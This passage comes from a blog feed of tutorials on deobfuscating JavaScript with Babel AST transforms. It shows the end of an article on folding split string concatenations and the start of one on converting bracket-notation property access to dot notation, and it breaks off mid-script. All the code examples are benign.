language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>Alright, so that did the job. But for very long binary expressions which you might encounter in wild obfuscated scripts, you certainly <em>do not</em> want to have to spend time manually wrapping chunks of consecutive strings in parentheses. Sure, you could probably automate it with Regex, or write an AST-based algorithm to add brackets to the source string, but there has to be a less complicated way, right?</p><p>The answer: Yes, there is. And we are on the right track.</p><h4 id="Idea-2-Even-Smaller-Chunks"><a href="#Idea-2-Even-Smaller-Chunks" class="headerlink" title="Idea #2: Even Smaller Chunks"></a>Idea #2: Even <em>Smaller</em> Chunks</h4><p>Okay, so we know that trying to pinpoint and prioritize chunks of consecutive strings with varying lengths can be troublesome. But what if we just split the binary expression into the smallest possible pieces and prioritized those?</p><p>I’ll admit, that probably sounds confusing. So I’ll do my best to explain what I mean with an example.</p><p>We know that a binary expression, in its simplest form, consists of a left side, an operator, and a right side. Let’s refer back to the first three rows of the table we made:</p><table><thead><tr><th>Iteration</th><th>Left Side</th><th>Operator</th><th>Right Side</th></tr></thead><tbody><tr><td>1</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” + “ is” + “ a “</td><td>+</td><td>this.favAnimal</td></tr><tr><td>2</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” + “ is”</td><td>+</td><td>“ a”</td></tr><tr><td>3</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l”</td><td>+</td><td>“ is”</td></tr></tbody></table><p>The right side of our binary expression is always only one element long, and is either a literal value or an identifier. However, the left side isn’t a single element long. Rather, it’s also a binary expression, containing both literal values and identifiers. What I propose is developing an algorithm to ensure that both the left side and right side are only a single element long. Then, if both are string literals, we can concatenate them. If not, we can simply move on.</p><p>To do this, let us look at the above table again, but only the first two rows. However, for the left side, let’s only take into consideration the <strong><em>right-most edge</em></strong> of the expression. That would look something like this:</p><table><thead><tr><th>Iteration</th><th>Right Edge of Left Side</th><th>Operator</th><th>Right Side</th></tr></thead><tbody><tr><td>1</td><td><del>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” + “ is” +</del> <strong>“ a “</strong></td><td>+</td><td><strong>this.favAnimal</strong></td></tr><tr><td>2</td><td><del>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” +</del> <strong>“ is”</strong></td><td>+</td><td><strong>“ a”</strong></td></tr></tbody></table><p>If we were to evaluate these now, we would observe the following:</p><ul><li>Row 1 still cannot be evaluated, since it is a <code>StringLiteral</code> + <code>a variable of unknown value</code>.</li><li>Row 2 can be simplified into a single string literal: <code>" is" + " a"</code> => <code>" is a"</code></li></ul><p>We can then replace the <em>right-most edge of the left side</em> with the simplified result, so it will become the right side in the next iteration. This way, we can simplify consecutive concatenation of strings step by step. Keep in mind, that each simplification will affect the next iteration’s right side. The reason I included the first few rows and not the third, is because the simplification in the second iteration would change the right side of the third iteration, so it would no longer look like the original table.</p><p>Following the new algorithm, each iteration of our visitor would look like this:</p><table><thead><tr><th>Iteration</th><th>Right Edge of Left Side</th><th>Operator</th><th>Right Side</th></tr></thead><tbody><tr><td>1</td><td>“ a “</td><td>+</td><td>this.favAnimal</td></tr><tr><td>2</td><td>“ is”</td><td>+</td><td>“ a”</td></tr><tr><td>3</td><td>“l”</td><td>+</td><td>“ is a”</td></tr><tr><td>4</td><td>“ma”</td><td>+</td><td>“l is a”</td></tr><tr><td>5</td><td>“ ani”</td><td>+</td><td>“mal is a”</td></tr><tr><td>6</td><td>“ite”</td><td>+</td><td>“ animal is a”</td></tr><tr><td>7</td><td>“ur”</td><td>+</td><td>“ite animal is a”</td></tr><tr><td>8</td><td>“vo”</td><td>+</td><td>“urite animal is a”</td></tr><tr><td>9</td><td>“ fa”</td><td>+</td><td>“vourite animal is a”</td></tr><tr><td>10</td><td>“y”</td><td>+</td><td>“ favourite animal is a”</td></tr><tr><td>11</td><td>“m”</td><td>+</td><td>“y favourite animal is a”</td></tr><tr><td>12</td><td>“d “</td><td>+</td><td>“my favourite animal is a”</td></tr><tr><td>13</td><td>“ an”</td><td>+</td><td>“d my favourite animal is a”</td></tr><tr><td>14</td><td>this.school</td><td>+</td><td>“ and my favourite animal is a”</td></tr><tr><td>14</td><td>“o “</td><td>+</td><td>this.school</td></tr><tr><td>14</td><td>“o t”</td><td>+</td><td>“o “</td></tr><tr><td>14</td><td>“. I g”</td><td>+</td><td>“o to “</td></tr><tr><td>14</td><td>this.name</td><td>+</td><td>“. I go to “</td></tr><tr><td>14</td><td>“Hello, my name is “</td><td>+</td><td>this.name</td></tr></tbody></table><p>So, by following this algorithm, we should be able to combine all consecutive string literals into one.</p><p><span style="font-size:35px;bold"><b>WAIT! There’s something wrong here…</b></span></p><p>The line of code we start with is <code>let helloStatement = "Hello, my name is " + this.name + ". I g" + "o t" + "o " + this.school + " an" + "d " + "m" + "y" + " fa" + "vo" + "ur" + "ite" + " ani" + "ma" + "l" + " is" + " a " + this.favAnimal;</code></p><p>We know that on the second iteration, <code>" is"</code> and <code>" a"</code> will be concatenated into a single string literal, then the right-most edge of the left side will be replaced with the resulting value. That is,</p><p><code>" is"</code> => <code>" is a"</code></p><p>The problem here is that we are adding the right side of the expression to the right edge of the left side of the expression. However, the original right side remains unchanged despite already being accounted for. The code after one iteration would then look like this:</p><p><code>let helloStatement = "Hello, my name is " + this.name + ". I g" + "o t" + "o " + this.school + " an" + "d " + "m" + "y" + " fa" + "vo" + "ur" + "ite" + " ani" + "ma" + "l" + " is a " + " a " + this.favAnimal;</code></p><p>Notice the extra duplicate near the end, <code>" is a " + " a "</code>. To fix this, we need to ensure that we <strong>delete the original right side of the expression after doing the concatenation and replacement</strong>.</p><p>So, based on this logic, the correct steps for creating the deobfuscator are as follows:</p><h3 id="Writing-The-Deobfuscator-Logic"><a href="#Writing-The-Deobfuscator-Logic" class="headerlink" title="Writing The Deobfuscator Logic"></a>Writing The Deobfuscator Logic</h3><ol><li><p>Traverse the ast in search of BinaryExpressions. When one is encountered:</p><ol><li>If both the right side (<code>path.node.right</code>) and the left side (<code>path.node.left</code>) are of type <em>StringLiteral</em>, we can use the algorithm for the basic case.</li><li>If not:<ol><li>Check if the right side, (<code>path.node.right</code>) is a <em>StringLiteral</em>. If it isn’t, skip this node by returning.</li><li>Check if the <em>right-most edge of the left-side</em> (<code>path.node.left.right</code>) is a <em>StringLiteral</em>. If it isn’t, skip this node by returning.</li><li>Check if the operator is addition (<code>+</code>). If it isn’t, skip this node by returning.</li><li>Evaluate the <em>right-most edge of the left-side</em> + the right side; <code>path.node.left.right.value + path.node.right.value</code> and assign it’s StringLiteral representation to a variable, <code>concatResult</code>.</li><li>Replace the <em>right-most edge of the left-side</em> with <code>concatResult</code>.</li><li>Remove the original right side of the expression as it is now a duplicate.</li></ol></li></ol></li></ol><p>The Babel implementation is as follows:</p><h3 id="Babel-Deobfuscation-Script-1"><a href="#Babel-Deobfuscation-Script-1" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for constant folding</span><br> <span class="hljs-keyword">const</span> foldConstantsVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-keyword">const</span> left = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"left"</span>);<br> <span class="hljs-keyword">const</span> right = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"right"</span>);<br> <span class="hljs-keyword">const</span> operator = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"operator"</span>).<span class="hljs-property">node</span>;<br><br> <span class="hljs-keyword">if</span> (t.<span class="hljs-title function_">isStringLiteral</span>(left.<span class="hljs-property">node</span>) && t.<span class="hljs-title function_">isStringLiteral</span>(right.<span class="hljs-property">node</span>)) {<br> <span class="hljs-comment">// In this case, we can use the old algorithm</span><br> <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate();<br> <span class="hljs-comment">// Skip if not confident</span><br> <span class="hljs-keyword">if</span> (!confident) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">// Create a new node, infer the type</span><br> <span class="hljs-keyword">let</span> actualVal = t.<span class="hljs-title function_">valueToNode</span>(value);<br> <span class="hljs-comment">// Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.)</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isStringLiteral</span>(actualVal)) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">// Replace the BinaryExpression with the simplified value</span><br> path.<span class="hljs-title function_">replaceWith</span>(actualVal);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-comment">// Check if the right side is a StringLiteral. If it isn't, skip this node by returning.</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isStringLiteral</span>(right.<span class="hljs-property">node</span>)) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">//Check if the right sideis a StringLiteral. If it isn't, skip this node by returning.</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isStringLiteral</span>(left.<span class="hljs-property">node</span>.<span class="hljs-property">right</span>)) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">// Check if the operator is addition (+). If it isn't, skip this node by returning.</span><br> <span class="hljs-keyword">if</span> (operator !== <span class="hljs-string">"+"</span>) <span class="hljs-keyword">return</span>;<br><br> <span class="hljs-comment">// If all conditions are fine:</span><br><br> <span class="hljs-comment">// Evaluate the _right-most edge of the left-side_ + the right side;</span><br> <span class="hljs-keyword">let</span> concatResult = t.<span class="hljs-title class_">StringLiteral</span>(<br> left.<span class="hljs-property">node</span>.<span class="hljs-property">right</span>.<span class="hljs-property">value</span> + right.<span class="hljs-property">node</span>.<span class="hljs-property">value</span><br> );<br> <span class="hljs-comment">// Replace the _right-most edge of the left-side_ with `concatResult`.</span><br> left.<span class="hljs-title function_">get</span>(<span class="hljs-string">"right"</span>).<span class="hljs-title function_">replaceWith</span>(concatResult);<br> <span class="hljs-comment">//Remove the original right side of the expression as it is now a duplicate.</span><br> right.<span class="hljs-title function_">remove</span>();<br> }<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, foldConstantsVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./splitStringsObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-1"><a href="#Post-Deobfuscation-Result-1" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>And all consecutive StringLiterals have been concatenated! Huzzah!</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>Okay, I hope that second example wasn’t <em>too</em> confusing. Sometimes, you’ll be able to avoid the problem with unknown variable values by replacing references to a constant variable with their actual value. If you’re interested in that, you can read my article about it <a href="http://steakenthusiast.github.io/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/">here</a>. In this case, however, it was unavoidable due to being within a class definition where variables have yet to be initialized.</p><p>Keep in mind that the second example will only work for <em>String Literals</em> and <em>addition</em>. But, it can easily be adapted to other node types and operators. I’ll leave that as a challenge for you, dear reader, if you wish to pursue it further 😉</p><p>If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>Anyways, that’s all I have for you today. I hope that this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: Converting Bracket Notation => Dot Notation for Property Accessors</title>
<link href="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/"/>
<url>/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><p>I’ll be honest, this transformation is less “deobfuscation” than it is “making our script look slightly prettier”. Even so, I think that it’s worth mentioning since it’s still an interesting example of how to manipulate an abstract syntax tree with babel. So, without further ado, let’s get into it!</p><h1 id="Bracket-Notation-vs-Dot-Notation"><a href="#Bracket-Notation-vs-Dot-Notation" class="headerlink" title="Bracket Notation vs. Dot Notation"></a>Bracket Notation vs. Dot Notation</h1><p>Let’s say we have the following piece of Javascript:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>];<br><span class="hljs-keyword">let</span> bar = <span class="hljs-variable language_">window</span>[<span class="hljs-string">"navigator"</span>][<span class="hljs-string">"userAgent"</span>];<br><span class="hljs-keyword">let</span> baz = <span class="hljs-title class_">Date</span>[<span class="hljs-string">"now"</span>]();<br><span class="hljs-keyword">let</span> qux = foo[<span class="hljs-number">3</span>];<br></code></pre></td></tr></table></figure><p>The above code is an example of using bracket notation to access the properties of an object.<br>If you’re familiar with Javascript, you probably know that the code above can also be written like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];<br><span class="hljs-keyword">let</span> bar = <span class="hljs-variable language_">window</span>.<span class="hljs-property">navigator</span>.<span class="hljs-property">userAgent</span>;<br><span class="hljs-keyword">let</span> baz = <span class="hljs-title class_">Date</span>.<span class="hljs-title function_">now</span>();<br><span class="hljs-keyword">let</span> qux = foo[<span class="hljs-number">3</span>];<br></code></pre></td></tr></table></figure><p>The second snippet looks much cleaner because it isn’t littered with brackets and quotation marks. That’s why most programmers prefer the second snippet’s formatting over that of the first <em>(unless, of course, you’re a psychopath)</em>.</p><p>So, how can we go about automatically transforming the first snippet to look like the second snippet? Let’s walk through the process step by step together.</p><h1 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h1><p>Let’s start by pasting both snippets into <a href="https://astexplorer.net/">AST Explorer</a> to see the differences. First, we’ll investigate the first snippet. Our targets of interest are the first and second lines of the script:</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/dotoperator1.png" alt="A closer look at one of the nodes of interest; first code snippet"></p><p>So, we can see that our nodes of interest are of type <em>MemberExpression</em>. Each node has 3 important properties:</p><ul><li><code>path.node.object</code>, which stores the object being accessed (in this case, the <code>Date</code> object)</li><li><code>path.node.property</code>, which stores the property to access (in this case, it’s the <code>Now</code> property and of type <em>StringLiteral</em>)</li><li><code>path.node.computed</code>, which tells us whether the MemberExpression is <em>computed</em>, <strong>(i.e, a value of true means uses <em>bracket notation</em>)</strong> or not <strong>(i.e, a value of false means use <em>dot notation</em>)</strong>. In this case, the <code>computed</code> property is set to <code>true</code> since bracket notation is being used.</li></ul><p>Now, let’s analyze the same node on AST explorer, but for the second code snippet:</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/dotoperator2.png" alt="A closer look at one of the nodes of interest; second code snippet"></p><p>After looking at it, we can observe that they’re nearly identical. But there are two important differences in the second case:</p><ul><li><code>path.node.property</code> is of type <em>Identifier</em>, <strong>NOT</strong> <em>StringLiteral</em>.</li><li><code>path.node.computed</code> is set to <code>false</code>, <strong>NOT</strong> <code>true</code>.</li></ul><p>This makes sense, since <code>path.node.computed</code> being <code>false</code> means that dot notation will be used. The property must then be of type <em>Identifier</em>, because you can <strong>only</strong> access properties via the dot operator with a <strong>valid identifier name</strong>.</p><p>So, using those observations, we can come up with the following logic to write a babel plugin to restore the code:</p><ol><li>Traverse the AST for MemberExpressions</li><li>Once a MemberExpression is found:<ol><li>Verify that the <code>path.node.computed</code> property is set to true. If it isn’t skip that node by returning.</li><li>Very that <code>path.node.property</code> is of type <em>StringLiteral</em>. If it isn’t, skip that node by returning.</li><li>Verify that the value of <code>path.node.property</code> meets all the requirements of a valid identifier. This can be done by testing it against the regex for a valid identifier, taken from <a href="https://stackoverflow.com/a/9337047">this Stack Overflow answer</a></li><li>Use <code>path.replaceWith()</code> to replace the MemberExpression with a new one, where:<ul><li>The object is still <code>path.node.object</code></li><li><code>path.node.property</code> is an <em>Identifier</em> node, with the name set to the value stored in <code>path.node.property.value</code></li><li><code>path.node.computed</code> is equal to <code>false</code></li></ul></li></ol></li></ol><p>The babel implementation is shown below:</p><h1 id="Babel-Deobfuscation-Script"><a href="#Babel-Deobfuscation-Script" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h1><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br> <span class="hljs-keyword">const</span> validIdentifierRegex =<br> <span 